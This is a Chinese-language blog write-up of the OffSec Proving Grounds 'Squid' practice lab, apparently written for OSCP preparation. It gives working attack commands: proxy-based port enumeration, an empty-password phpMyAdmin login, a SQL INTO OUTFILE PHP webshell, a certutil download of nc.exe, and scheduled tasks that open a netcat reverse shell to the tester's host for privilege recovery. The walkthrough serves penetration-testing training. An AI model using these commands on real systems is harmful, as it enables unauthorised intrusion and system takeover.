OSCP Squid Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Squid

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界,获取用户、管理员旗帜:

设置 Squid 代理转发 –> 枚举靶机本地端口 –> 得到 3306 和 8080 –> Phpmyadmin 后台空密码 –> 配合 phpinfo 写入 webshell –> 系统 system 权限 –> 用户、管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
192.168.188.189

sudo nmap -p- 192.168.188.189 --min-rate=2000

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3128/tcp open squid-http
49666/tcp open unknown
49667/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo nmap -p135,139,445,3128,49666,49667 -sCV 192.168.188.189

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3128/tcp open http-proxy Squid http proxy 4.14
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.14
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-time:
| date: 2025-09-10T14:09:39
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

系统为 Windows 环境,开放有 HTTP 和一些 Windows 默认服务。

3.2 渗透测试突破边界

3.2.1 Squid 代理转发

测试靶机 SMB、RCP 等服务均没有得到有价值信息,仅剩下 TCP 3128 端口,所以我们只能通过该端口服务获取立足点。信息收集过程 nmap 识别到应用为:Squid 4.14,检索应用漏洞没有发现可利用的 EXP,尝试浏览器访问该端口,可正常访问。

检索 Squid 应用时,发现该应用主要提供代理功能,由此猜想是否可以通过该应用转发我们的流量呢?

首先想到使用 proxychains 工具,经过一番尝试,将该工具设置 squid HTTP 代理,并不能转发流量,然而通过浏览器设置 squid HTTP 代理可成功转发我们的流量。

在 kali 开启 web 共享,然后在浏览器使用 squid HTTP 代理访问 kali 共享,成功访问,说明我们的猜想是正确的。

1
goshs -p 80

利用 squid 的代理功能可尝试枚举靶机本地端口,首先利用 python 生成一个全端口字典,然后使用 ffuf 进行枚举。

1
2
for i in range(1, 65536):
print(i)
1
ffuf -u "http://192.168.188.189:FUZZ" -x http://192.168.188.189:3128 -w port.txt -fc 403

枚举到了 3306 和 8080 端口,访问 3306 端口会下载一个 MySQL 连接错误文件,没有其他有价值信息,访问 8080 端口得到了一个新的应用程序。

根据页面信息可得知应用为:Wampserver Version 3.2.3 - 64bit,检索应用已知漏洞依旧没有发现可利用的 EXP。

3.2.2 Phpmyadmin 空口令,后台写入 webshell

8080 端口页面可跳转到靶机 phpinfo、Phpmyadmin、adminer 和 phpsysinfo 应用,再次根据应用版本信息检索 EXP,仍没有得到可利用 EXP。

这里被卡住了很久,最后通过空口令进入到 Phpmyadmin 后台。

1
2
root
空密码

Phpmyadmin 后台可执行 SQL 语句,而且在 phpinfo 中可得知系统网站路径,因此尝试写入 webshell。首先检查 secure_file_priv 值,如果该值没有设置则可进行任意导入导出,如果该值设置了具体目录则只能对该目录进行操作,最后如果该值设置为 NULL 则不允许导入导出。

1
show global variables like '%secure%';

靶机并没有对导入导出做限制,可尝试在网站根目录写入 webshell。

1
select '<?php echo system($_GET["cmd"]);?>' INTO OUTFILE 'C:\\wamp\\www\\revs.php'

访问 webshell 并执行 whoami, 得到系统 system 权限。

1
http://192.168.188.189:8080/revs.php?cmd=whoami

上传 nc 至靶机网站目录,执行反弹 shell,获取到靶机 system 权限。

1
2
3
4
5
6
7
8
# kali
goshs -p 80
# webshell
certutil -urlcache -split -f http://192.168.45.236/nc.exe C:/wamp/www/nc.exe
# kali
rlwrap nc -lvnp 80
# webshell
http://192.168.188.189:8080/revs.php?cmd=certutil -urlcache -split -f http://192.168.45.236/nc.exe C:/wamp/www/nc.exe

3.2.2 用户、管理员旗帜获取

3.3 拓展

3.3.1 Windows 账号权限缺失找回

查看靶机解析时,发现靶机最初的设计并不是直接得到系统 system 权限,而是利用 Phpmyadmin 后台 shell 获取到系统 NT AUTHORITY\LOCAL SERVICE 权限,起始得到的该用户仅有两个特殊权限,没办法直接提权到系统 system,需要利用计划任务找回用户的所有特殊权限( SeImpersonatePrivilege 特权),最后通过土豆工具提权至系统 system 权限。

参考链接:

1
2
https://itm4n.github.io/localservice-privileges/
https://github.com/itm4n/FullPowers

权限缺失

首先通过计划任务找回系统部分特殊权限(不包含 SeImpersonatePrivilege)。

参考

1
2
3
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantPerm"
Start-ScheduledTask -TaskName "GrantPerm"

找回了部分权限

即使已经找回了部分权限,但仍缺失 SeImpersonatePrivilege 特权,需要设置 RequiredPrivileges 的值,然后再次执行计划任务。

参考

1
2
3
4
5
[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "GrantAllPerms"

完整权限

接下来通过土豆工具提权至系统 system 权限。

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Squid Write-up
https://www.f0nesec.top/2025/09/11/oscp-squid/
作者
F0ne
发布于
2025年9月11日
许可协议